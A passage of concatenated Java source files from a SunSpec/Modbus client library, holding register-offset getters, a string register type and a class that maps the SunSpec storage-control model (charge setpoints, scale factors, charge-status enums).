0; /** * */ protected int meterSinglePhasesinglephaseANorABmeter_201 = 0; /** * */ protected int splitsinglephaseABNmeter_202 = 0; /** * */ protected int wyeConnectthreephaseabcnmeter_203 = 0; /** * */ protected int deltaConnectthreephaseabcmeter_204 = 0; /** * */ protected int singlephaseANorABmeter_211 = 0; /** * */ protected int splitsinglephaseABNmeter_212 = 0; /** * */ protected int wyeConnectthreephaseabcnmeter_213 = 0; /** * */ protected int deltaConnectthreephaseabcmeter_214 = 0; /** * */ protected int secureACMeterSelectedReadings_220 = 0; /** * */ protected int irradianceModel_302 = 0; /** * */ protected int backofModuleTemperatureModel_303 = 0; /** * */ protected int inclinometerModel_304 = 0; /** * */ protected int gPS_305 = 0; /** * */ protected int referencePointModel_306 = 0; /** * */ protected int baseMet_307 = 0; /** * */ protected int miniMetModel_308 = 0; /** * */ protected int stringCombinerCurrent_401 = 0; /** * */ protected int stringCombinerAdvanced_402 = 0; /** * */ protected int stringCombinerCurrent_403 = 0; /** * */ protected int stringCombinerAdvanced_404 = 0; /** * */ protected int solarModule_501 = 0; /** * */ protected int solarModule_502 = 0; /** * */ protected int trackerControllerDRAFT2_601 = 0; /** * */ protected int energyStorageBaseModelDEPRECATED_801 = 0; /** * */ protected int batteryBaseModel_802 = 0; /** * */ protected int lithiumIonBatteryBankModel_803 = 0; /** * */ protected int lithiumIonStringModel_804 = 0; /** * */ protected int lithiumIonModuleModel_805 = 0; /** * */ protected int flowBatteryModel_806 = 0; /** * */ protected int flowBatteryStringModel_807 = 0; /** * */ protected int flowBatteryModuleModel_808 = 0; /** * */ protected int flowBatteryStackModel_809 = 0; /** * */ protected int sunSpecTestModel1_63001 = 0; /** * */ protected int sunSpecTestModel2_63002 = 0; /** * */ protected int verisStatusandConfiguration_64001 = 0; /** * */ protected int mersenGreenString_64020 = 0; /** * */ protected int eltekInverterExtension_64101 = 0; /** * */ protected int outBackAXSdevice_64110 = 0; /** * */ protected int basicChargeController_64111 = 0; protected int outBackFMChargeController_64112 = 0; /** * @return the common_1 */ public int getCommon_1() { return common_1; } /** * @return the basicAggregator_2 */ public int getBasicAggregator_2() { return basicAggregator_2; } /** * @return the secureDatasetReadRequest_3 */ public int getSecureDatasetReadRequest_3() { return secureDatasetReadRequest_3; } /** * @return the secureDatasetReadResponse_4 */ public int getSecureDatasetReadResponse_4() { return secureDatasetReadResponse_4; } /** * @return the secureWriteRequest_5 */ public int getSecureWriteRequest_5() { return secureWriteRequest_5; } /** * @return the secureWriteSequentialRequest_6 */ public int getSecureWriteSequentialRequest_6() { return secureWriteSequentialRequest_6; } /** * @return the secureWriteResponseModelDRAFT1_7 */ public int getSecureWriteResponseModelDRAFT1_7() { return secureWriteResponseModelDRAFT1_7; } /** * @return the getDeviceSecurityCertificate_8 */ public int getGetDeviceSecurityCertificate_8() { return getDeviceSecurityCertificate_8; } /** * @return the setOperatorSecurityCertificate_9 */ public int getSetOperatorSecurityCertificate_9() { return setOperatorSecurityCertificate_9; } /** * @return the communicationInterfaceHeader_10 */ public int getCommunicationInterfaceHeader_10() { return communicationInterfaceHeader_10; } /** * @return the ethernetLinkLayer_11 */ public int getEthernetLinkLayer_11() { return ethernetLinkLayer_11; } /** * @return the iPv4_12 */ public int getiPv4_12() { return iPv4_12; } /** * @return the iPv6_13 */ public int getiPv6_13() { return iPv6_13; } /** * @return the proxyServer_14 */ public int getProxyServer_14() { return proxyServer_14; } /** * @return the interfaceCountersModel_15 */ public int getInterfaceCountersModel_15() { return interfaceCountersModel_15; } /** * @return the simpleIPNetwork_16 */ public int getSimpleIPNetwork_16() { return simpleIPNetwork_16; } /** * @return the serialInterface_17 */ public int getSerialInterface_17() { return serialInterface_17; } /** * @return the CcellularLink_18 */ public int getCcellularLink_18() { return CcellularLink_18; } /** * @return the pPPLink_19 */ public int getpPPLink_19() { return pPPLink_19; } /** * @return the inverterSinglePhase_101 */ public int getInverterSinglePhase_101() { return inverterSinglePhase_101; } /** * @return the inverterSplitPhase_102 */ public int getInverterSplitPhase_102() { return inverterSplitPhase_102; } /** * @return the inverterThreePhase_103 */ public int getInverterThreePhase_103() { return inverterThreePhase_103; } /** * @return the inverterSinglePhaseFLOAT_111 */ public int getInverterSinglePhaseFLOAT_111() { return inverterSinglePhaseFLOAT_111; } /** * @return the inverterSplitPhaseFLOAT_112 */ public int getInverterSplitPhaseFLOAT_112() { return inverterSplitPhaseFLOAT_112; } /** * @return the inverterThreePhaseFLOAT_113 */ public int getInverterThreePhaseFLOAT_113() { return inverterThreePhaseFLOAT_113; } /** * @return the nameplate_120 */ public int getNameplate_120() { return nameplate_120; } /** * @return the basicSettings_121 */ public int getBasicSettings_121() { return basicSettings_121; } /** * @return the measurementsStatus_122 */ public int getMeasurementsStatus_122() { return measurementsStatus_122; } /** * @return the immediateControls_123 */ public int getImmediateControls_123() { return immediateControls_123; } /** * @return the storage_124 */ public int getStorage_124() { return storage_124; } /** * @return the pricing_125 */ public int getPricing_125() { return pricing_125; } /** * @return the VoltVAR_126 */ public int getVoltVAR_126() { return voltVAR_126; } /** * @return the freqWattParam_127 */ public int getFreqWattParam_127() { return freqWattParam_127; } /** * @return the dynamicReactiveCurrent_128 */ public int getDynamicReactiveCurrent_128() { return dynamicReactiveCurrent_128; } /** * @return the lVRTD_129 */ public int getlVRTD_129() { return lVRTD_129; } /** * @return the hVRTD_130 */ public int gethVRTD_130() { return hVRTD_130; } /** * @return the wattPF_131 */ public int getWattPF_131() { return wattPF_131; } /** * @return the voltWatt_132 */ public int getVoltWatt_132() { return voltWatt_132; } /** * @return the basicScheduling_133 */ public int getBasicScheduling_133() { return basicScheduling_133; } /** * @return the freqWattCrv_134 */ public int getFreqWattCrv_134() { return freqWattCrv_134; } /** * @return the lFRT_135 */ public int getlFRT_135() { return lFRT_135; } /** * @return the hFRT_136 */ public int gethFRT_136() { return hFRT_136; } /** * @return the lVRTC_137 */ public int getlVRTC_137() { return lVRTC_137; } /** * @return the hVRTC_138 */ public int gethVRTC_138() { return hVRTC_138; } /** * @return the lVRTX_139 */ public int getlVRTX_139() { return lVRTX_139; } /** * @return the hVRTX_140 */ public int gethVRTX_140() { return hVRTX_140; } /** * @return the lFRTC_141 */ public int getlFRTC_141() { return lFRTC_141; } /** * @return the hFRTC_142 */ public int gethFRTC_142() { return hFRTC_142; } /** * @return the lFRTX_143 */ public int getlFRTX_143() { return lFRTX_143; } /** * @return the lFRTX_144 */ public int getlFRTX_144() { return lFRTX_144; } public int getOutBackFMChargeController_64112() { return outBackFMChargeController_64112; } /** * @return the extendedSettings_145 */ public int getExtendedSettings_145() { return extendedSettings_145; } /** * @return the multipleMPPTInverterExtensionModel_160 */ public int getMultipleMPPTInverterExtensionModel_160() { return multipleMPPTInverterExtensionModel_160; } /** * @return the meterSinglePhasesinglephaseANorABmeter_201 */ public int getMeterSinglePhasesinglephaseANorABmeter_201() { return meterSinglePhasesinglephaseANorABmeter_201; } /** * @return the splitsinglephaseABNmeter_202 */ public int getSplitsinglephaseABNmeter_202() { return splitsinglephaseABNmeter_202; } /** * @return the wyeConnectthreephaseabcnmeter_203 */ public int getWyeConnectthreephaseabcnmeter_203() { return wyeConnectthreephaseabcnmeter_203; } /** * @return the deltaConnectthreephaseabcmeter_204 */ public int getDeltaConnectthreephaseabcmeter_204() { return deltaConnectthreephaseabcmeter_204; } /** * @return the singlephaseANorABmeter_211 */ public int getSinglephaseANorABmeter_211() { return singlephaseANorABmeter_211; } /** * @return the splitsinglephaseABNmeter_212 */ public int getSplitsinglephaseABNmeter_212() { return splitsinglephaseABNmeter_212; } /** * @return the wyeConnectthreephaseabcnmeter_213 */ public int getWyeConnectthreephaseabcnmeter_213() { return wyeConnectthreephaseabcnmeter_213; } /** * @return the deltaConnectthreephaseabcmeter_214 */ public int getDeltaConnectthreephaseabcmeter_214() { return deltaConnectthreephaseabcmeter_214; } /** * @return the secureACMeterSelectedReadings_220 */ public int getSecureACMeterSelectedReadings_220() { return secureACMeterSelectedReadings_220; } /** * @return the irradianceModel_302 */ public int getIrradianceModel_302() { return irradianceModel_302; } /** * @return the backofModuleTemperatureModel_303 */ public int getBackofModuleTemperatureModel_303() { return backofModuleTemperatureModel_303; } /** * @return the inclinometerModel_304 */ public int getInclinometerModel_304() { return inclinometerModel_304; } /** * @return the gPS_305 */ public int getgPS_305() { return gPS_305; } /** * @return the referencePointModel_306 */ public int getReferencePointModel_306() { return referencePointModel_306; } /** * @return the baseMet_307 */ public int getBaseMet_307() { return baseMet_307; } /** * @return the miniMetModel_308 */ public int getMiniMetModel_308() { return miniMetModel_308; } /** * @return the stringCombinerCurrent_401 */ public int getStringCombinerCurrent_401() { return stringCombinerCurrent_401; } /** * @return the stringCombinerAdvanced_402 */ public int getStringCombinerAdvanced_402() { return stringCombinerAdvanced_402; } /** * @return the stringCombinerCurrent_403 */ public int getStringCombinerCurrent_403() { return stringCombinerCurrent_403; } /** * @return the stringCombinerAdvanced_404 */ public int getStringCombinerAdvanced_404() { return stringCombinerAdvanced_404; } /** * @return the solarModule_501 */ public int getSolarModule_501() { return solarModule_501; } /** * @return the solarModule_502 */ public int getSolarModule_502() { return solarModule_502; } /** * @return the trackerControllerDRAFT2_601 */ public int getTrackerControllerDRAFT2_601() { return trackerControllerDRAFT2_601; } /** * @return the energyStorageBaseModelDEPRECATED_801 */ public int getEnergyStorageBaseModelDEPRECATED_801() { return energyStorageBaseModelDEPRECATED_801; } /** * @return the batteryBaseModel_802 */ public int getBatteryBaseModel_802() { return batteryBaseModel_802; } /** * @return the lithiumIonBatteryBankModel_803 */ public int getLithiumIonBatteryBankModel_803() { return lithiumIonBatteryBankModel_803; } /** * @return the lithiumIonStringModel_804 */ public int getLithiumIonStringModel_804() { return lithiumIonStringModel_804; } /** * @return the lithiumIonModuleModel_805 */ public int getLithiumIonModuleModel_805() { return lithiumIonModuleModel_805; } /** * @return the flowBatteryModel_806 */ public int getFlowBatteryModel_806() { return flowBatteryModel_806; } /** * @return the flowBatteryStringModel_807 */ public int getFlowBatteryStringModel_807() { return flowBatteryStringModel_807; } /** * @return the flowBatteryModuleModel_808 */ public int getFlowBatteryModuleModel_808() { return flowBatteryModuleModel_808; } /** * @return the flowBatteryStackModel_809 */ public int getFlowBatteryStackModel_809() { return flowBatteryStackModel_809; } /** * @return the sunSpecTestModel1_63001 */ public int getSunSpecTestModel1_63001() { return sunSpecTestModel1_63001; } /** * @return the sunSpecTestModel2_63002 */ public int getSunSpecTestModel2_63002() { return sunSpecTestModel2_63002; } /** * @return the verisStatusandConfiguration_64001 */ public int getVerisStatusandConfiguration_64001() { return verisStatusandConfiguration_64001; } /** * @return the mersenGreenString_64020 */ public int getMersenGreenString_64020() { return mersenGreenString_64020; } /** * @return the eltekInverterExtension_64101 */ public int getEltekInverterExtension_64101() { return eltekInverterExtension_64101; } /** * @return the outBackAXSdevice_64110 */ public int getOutBackAXSdevice_64110() { return outBackAXSdevice_64110; } /** * @return the basicChargeController_64111 */ public int getBasicChargeController_64111() { return basicChargeController_64111; } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package ch.retep.relleum.modbus.datatype; import ch.retep.relleum.modbus.Read0X03; import ch.retep.relleum.sunspec.datatype.RetepString; /** * @author Peter */ public class RegisterString extends Read0X03 implements RetepString { /** * @param label * @param offset * @param aqQuantityOfRegisters * @param name * @param unit * @param description * @param rw * @param mandatory */ @Override public void init(int label, int offset, int aqQuantityOfRegisters, String name, String unit, String description, Rw rw, Mandatory mandatory) { super.init(label, offset, aqQuantityOfRegisters, name, unit, description, rw, mandatory); //To change body of generated methods, choose Tools | Templates. setNanValue(new byte[aqQuantityOfRegisters * 2]); } /** * @return */ @Override public long toLong() { return 0; } @Override public String toString() { StringBuilder ret = new StringBuilder(); for (int i = offsetRegister; i < getBlength(); i++) { if (getB(i) != 0x00) { ret.append((char) getB(i)); } } return isNaN() ? "NaN" : ret.toString(); } /** * @return */ @Override public RetepString toRetepString() { return this; } @Override public byte[] getRandData() { byte[] b = new byte[quantityOfRegisters * 2]; for (int i = 0; i < b.length; i++) { b[i] = (byte) (Math.random() * (122 - 97) + 97); } return b; } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterBitfield16; import ch.retep.relleum.modbus.datatype.RegisterDouble; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterSunssf; import ch.retep.relleum.modbus.datatype.RegisterUDouble; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepBitMask; import ch.retep.relleum.sunspec.datatype.RetepDouble; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; /** * @author Peter */ public class Table0124Storage extends Table { private ID storageID; private L storageL; private WChaMax_SF storage16WChaMax_SF; private WChaDisChaGra_SF storage17WChaDisChaGra_SF ; private VAChaMax_SF storage18VAChaMax_SF ; private MinRsvPct_SF storage19MinRsvPct_SF ; private ChaState_SF storage20ChaState_SF ; private StorAval_SF storage21StorAval_SF ; private InBatV_SF storage22InBatV_SF ; private InOutWRte_SF storage23InOutWRte_SF ; private WChaMax storage0WChaMax ; private WChaGra storage1WChaGra ; private WDisChaGra storage2WDisChaGra ; private StorCtl_Mod storage3StorCtl_Mod ; private VAChaMax storage4VAChaMax ; private MinRsvPct storage5MinRsvPct ; private ChaState storage6ChaState; private StorAval storage7StorAval ; private InBatV storage8InBatV ; private ChaSt storage9ChaSt ; private OutWRte storage10OutWRte ; private InWRte storage11InWRte ; private InOutWRte_WinTms storage12InOutWRte_WinTms; private InOutWRte_RvrtTms storage13InOutWRte_RvrtTms; private InOutWRte_RmpTms storage14InOutWRte_RmpTms; private ChaGriSet storage15ChaGriSet ; public Table0124Storage(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 0, 26, "Storage Model", "", "Storage Model", Rw.R, Mandatory.M); storageID = new ID(tcpModbusHandler); storageL = new L(tcpModbusHandler); storage16WChaMax_SF = new WChaMax_SF(tcpModbusHandler); storage17WChaDisChaGra_SF = new WChaDisChaGra_SF(tcpModbusHandler); storage18VAChaMax_SF = new VAChaMax_SF(tcpModbusHandler); storage19MinRsvPct_SF = new MinRsvPct_SF(tcpModbusHandler); storage20ChaState_SF = new ChaState_SF(tcpModbusHandler); storage21StorAval_SF = new StorAval_SF(tcpModbusHandler); storage22InBatV_SF = new InBatV_SF(tcpModbusHandler); storage23InOutWRte_SF = new InOutWRte_SF(tcpModbusHandler); storage0WChaMax = new WChaMax(storage16WChaMax_SF,tcpModbusHandler); storage1WChaGra = new WChaGra(storage17WChaDisChaGra_SF,tcpModbusHandler); storage2WDisChaGra = new WDisChaGra(storage17WChaDisChaGra_SF,tcpModbusHandler); storage3StorCtl_Mod = new StorCtl_Mod(tcpModbusHandler); storage4VAChaMax = new VAChaMax(storage18VAChaMax_SF,tcpModbusHandler); storage5MinRsvPct = new MinRsvPct(storage19MinRsvPct_SF,tcpModbusHandler); storage6ChaState = new ChaState(storage20ChaState_SF,tcpModbusHandler); storage7StorAval = new StorAval(storage21StorAval_SF,tcpModbusHandler); storage8InBatV = new InBatV(storage22InBatV_SF,tcpModbusHandler); storage9ChaSt = new ChaSt(tcpModbusHandler); storage10OutWRte = new OutWRte(storage23InOutWRte_SF,tcpModbusHandler); storage11InWRte = new InWRte(storage23InOutWRte_SF,tcpModbusHandler); storage12InOutWRte_WinTms = new InOutWRte_WinTms(tcpModbusHandler); storage13InOutWRte_RvrtTms = new InOutWRte_RvrtTms(tcpModbusHandler); storage14InOutWRte_RmpTms = new InOutWRte_RmpTms(tcpModbusHandler); storage15ChaGriSet = new ChaGriSet(tcpModbusHandler); vector.add(storageID); vector.add(storageL); vector.add(storage16WChaMax_SF); vector.add(storage17WChaDisChaGra_SF); vector.add(storage18VAChaMax_SF); vector.add(storage19MinRsvPct_SF); vector.add(storage20ChaState_SF); vector.add(storage21StorAval_SF); vector.add(storage22InBatV_SF); vector.add(storage23InOutWRte_SF); vector.add(storage0WChaMax); vector.add(storage1WChaGra); vector.add(storage2WDisChaGra); vector.add(storage3StorCtl_Mod); vector.add(storage4VAChaMax); vector.add(storage5MinRsvPct); vector.add(storage6ChaState); vector.add(storage7StorAval); vector.add(storage8InBatV); vector.add(storage9ChaSt); vector.add(storage10OutWRte); vector.add(storage11InWRte); vector.add(storage12InOutWRte_WinTms); vector.add(storage13InOutWRte_RvrtTms); vector.add(storage14InOutWRte_RmpTms); vector.add(storage15ChaGriSet); } /** * @return */ public RetepEnum getID() { return storageID; } /** * @return */ public RetepLong getL() { return storageL; } /** * @return */ public RetepDouble getWChaMax() { return storage0WChaMax; } /** * @return */ public RetepDouble getWChaGra() { return storage1WChaGra; } /** * @return */ public RetepDouble getWDisChaGra() { return storage2WDisChaGra; } /** * @return */ public RetepBitMask getStorCtl_Mod() { return storage3StorCtl_Mod; } /** * @return */ public RetepDouble getVAChaMax() { return storage4VAChaMax; } /** * @return */ public RetepDouble getMinRsvPct() { return storage5MinRsvPct; } /** * @return */ public RetepDouble getChaState() { return storage6ChaState; } /** * @return */ public RetepDouble getStorAval() { return storage7StorAval; } /** * @return */ public RetepDouble getInBatV() { return storage8InBatV; } /** * @return */ public RetepEnum getChaSt() { return storage9ChaSt; } /** * @return */ public RetepDouble getOutWRte() { return storage10OutWRte; } /** * @return */ public RetepDouble getInWRte() { return storage11InWRte; } /** * @return */ public RetepLong getInOutWRte_WinTms() { return storage12InOutWRte_WinTms; } /** * @return */ public RetepLong getInOutWRte_RvrtTms() { return storage13InOutWRte_RvrtTms; } /** * @return */ public RetepLong getInOutWRte_RmpTms() { return storage14InOutWRte_RmpTms; } /** * @return */ public RetepEnum getChaGriSet() { return storage15ChaGriSet; } /** * @return */ public RetepLong getWChaMax_SF() { return storage16WChaMax_SF; } /** * @return */ public RetepLong getWChaDisChaGra_SF() { return storage17WChaDisChaGra_SF; } /** * @return */ public RetepLong getVAChaMax_SF() { return storage18VAChaMax_SF; } /** * @return */ public RetepLong getMinRsvPct_SF() { return storage19MinRsvPct_SF; } /** * @return */ public RetepLong getChaState_SF() { return storage20ChaState_SF; } /** * @return */ public RetepLong getStorAval_SF() { return storage21StorAval_SF; } /** * @return */ public RetepLong getInBatV_SF() { return storage22InBatV_SF; } /** * @return */ public RetepLong getInOutWRte_SF() { return storage23InOutWRte_SF; } /** * */ public class ID extends RegisterEnum16 { public ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 0, 1, "Model", "", "Basic Storage Controls ", Rw.R, Mandatory.M); hashtable.put((long) 124, "SunSpec Storage Controls"); } } /** * */ public class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } /** * */ public class WChaMax extends RegisterUDouble { public WChaMax(WChaMax_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 2, 1, "WChaMax", "W", "Setpoint for maximum charge.", Rw.RW, Mandatory.M); setScaleFactorMessage(aScalFactor); } } /** * */ public class WChaGra extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public WChaGra(WChaDisChaGra_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 3, 1, "WChaGra", "% WChaMax/sec", "Setpoint for maximum charging rate. Default is MaxChaRte.", Rw.RW, Mandatory.M); setScaleFactorMessage(aScalFactor); } } /** * */ public class WDisChaGra extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public WDisChaGra(WChaDisChaGra_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 4, 1, "WDisChaGra", "% WChaMax/sec", "Setpoint for maximum discharge rate. Default is MaxDisChaRte.", Rw.RW, Mandatory.M); setScaleFactorMessage(aScalFactor); } } /** * */ public class StorCtl_Mod extends RegisterBitfield16 { public StorCtl_Mod(TcpModbusHandler tcpModbusHandler) { hashtable.put((long) 0, "CHARGE"); hashtable.put((long) 1, "DiSCHARGE"); init(tcpModbusHandler.getStorage_124(), 5, 1, "StorCtl_Mod", "", "Activate hold/discharge/charge storage control mode. Bitfield value.", Rw.RW, Mandatory.M); } } /** * */ public class VAChaMax extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public VAChaMax(VAChaMax_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 6, 1, "VAChaMax", "VA", "Setpoint for maximum charging VA.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class MinRsvPct extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public MinRsvPct(MinRsvPct_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 7, 1, "MinRsvPct", "% WChaMax", "Setpoint for minimum reserve for storage as a percentage of the nominal maximum storage.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class ChaState extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public ChaState(ChaState_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 8, 1, "ChaState", "% AhrRtg", "Currently available energy as a percent of the capacity rating.", Rw.R, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class StorAval extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public StorAval(StorAval_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 9, 1, "StorAval", "AH", "State of charge (ChaState) minus storage reserve (MinRsvPct) times capacity rating (AhrRtg).", Rw.R, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class InBatV extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public InBatV(InBatV_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 10, 1, "InBatV", "V", "Internal battery voltage.", Rw.R, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class ChaSt extends RegisterEnum16 { public ChaSt(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 11, 1, "ChaSt", "", "Charge status of storage device. Enumerated value.", Rw.R, Mandatory.O); hashtable.put((long) 1, "OFF"); hashtable.put((long) 2, "EMPTY"); hashtable.put((long) 3, "DISCHARGING"); hashtable.put((long) 4, "CHARGING"); hashtable.put((long) 5, "FULL"); hashtable.put((long) 6, "HOLDING"); hashtable.put((long) 7, "TESTING"); } } /** * */ public class OutWRte extends RegisterDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public OutWRte(InOutWRte_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 12, 1, "OutWRte", "% WDisChaMax", "Percent of max discharge rate.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class InWRte extends RegisterDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public InWRte(InOutWRte_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 13, 1, "InWRte", "% WChaMax", "Percent of max charging rate.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class InOutWRte_WinTms extends RegisterUint16 { public InOutWRte_WinTms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 14, 1, "InOutWRte_WinTms", "Secs", "Time window for charge/discharge rate change.", Rw.RW, Mandatory.O); } } /** * */ public class InOutWRte_RvrtTms extends RegisterUint16 { public InOutWRte_RvrtTms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 15, 1, "InOutWRte_RvrtTms", "Secs", "Timeout period for charge/discharge rate.", Rw.RW, Mandatory.O); } } /** * */ public class InOutWRte_RmpTms extends RegisterUint16 { public InOutWRte_RmpTms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 16, 1, "InOutWRte_RmpTms", "Secs", "Ramp time for moving from current setpoint to new setpoint.", Rw.RW, Mandatory.O); } } /** * */ public class ChaGriSet extends RegisterEnum16 { public ChaGriSet(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 17, 1, "ChaGriSet", "", "ChaGriSet", Rw.RW, Mandatory.O); hashtable.put((long) 0, "PV"); hashtable.put((long) 1, "GRID"); } } /** * */ public class WChaMax_SF extends RegisterSunssf { public WChaMax_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 18, 1, "WChaMax_SF", "", "Scale factor for maximum charge.", Rw.R, Mandatory.M); } } /** * */ public class WChaDisChaGra_SF extends RegisterSunssf { public WChaDisChaGra_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 19, 1, "WChaDisChaGra_SF", "", "Scale factor for maximum charge and discharge rate.", Rw.R, Mandatory.M); } } /** * */ public class VAChaMax_SF extends RegisterSunssf { public VAChaMax_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 20, 1, "VAChaMax_SF", "", "Scale factor for maximum charging VA.", Rw.R, Mandatory.O); } } /** * */ public class MinRsvPct_SF extends RegisterSunssf { public MinRsvPct_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 21, 1, "MinRsvPct_SF", "", "Scale factor for minimum reserve percentage.", Rw.R, Mandatory.O); } } /** * */ public class ChaState_SF extends RegisterSunssf { public ChaState_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 22, 1, "ChaState_SF", "", "Scale factor for available energy percent.", Rw.R, Mandatory.O); } } /** * */ public class StorAval_SF extends RegisterSunssf { public StorAval_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 23, 1, "StorAval_SF", "", "Scale factor for state of charge.", Rw.R, Mandatory.O); } } /** * */ public class InBatV_SF extends RegisterSunssf { public InBatV_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 24, 1, "InBatV_SF", "", "Scale factor for battery voltage.", Rw.R, Mandatory.O); } } /** * */ public class InOutWRte_SF extends RegisterSunssf { public InOutWRte_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getStorage_124(), 25, 1, "InOutWRte_SF", "", "Scale factor for percent charge/discharge rate.", Rw.R, Mandatory.O); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec; import java.net.InetAddress; import java.util.Hashtable; import java.util.Iterator; import java.util.Vector; import ch.retep.relleum.modbus.Read0X03; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.read.table.Table0001Common; import ch.retep.relleum.sunspec.read.table.Table0002BasicAggregator; import ch.retep.relleum.sunspec.read.table.Table0003SecureDatasetReadRequest; import ch.retep.relleum.sunspec.read.table.Table0004SecureDatasetReadResponse; import ch.retep.relleum.sunspec.read.table.Table0005SecureWriteRequest; import ch.retep.relleum.sunspec.read.table.Table0006SecureWriteSequentialRequest; import ch.retep.relleum.sunspec.read.table.Table0007SecureWriteResponseModelDRAFT1; import ch.retep.relleum.sunspec.read.table.Table0008GetDeviceSecurityCertificate; import 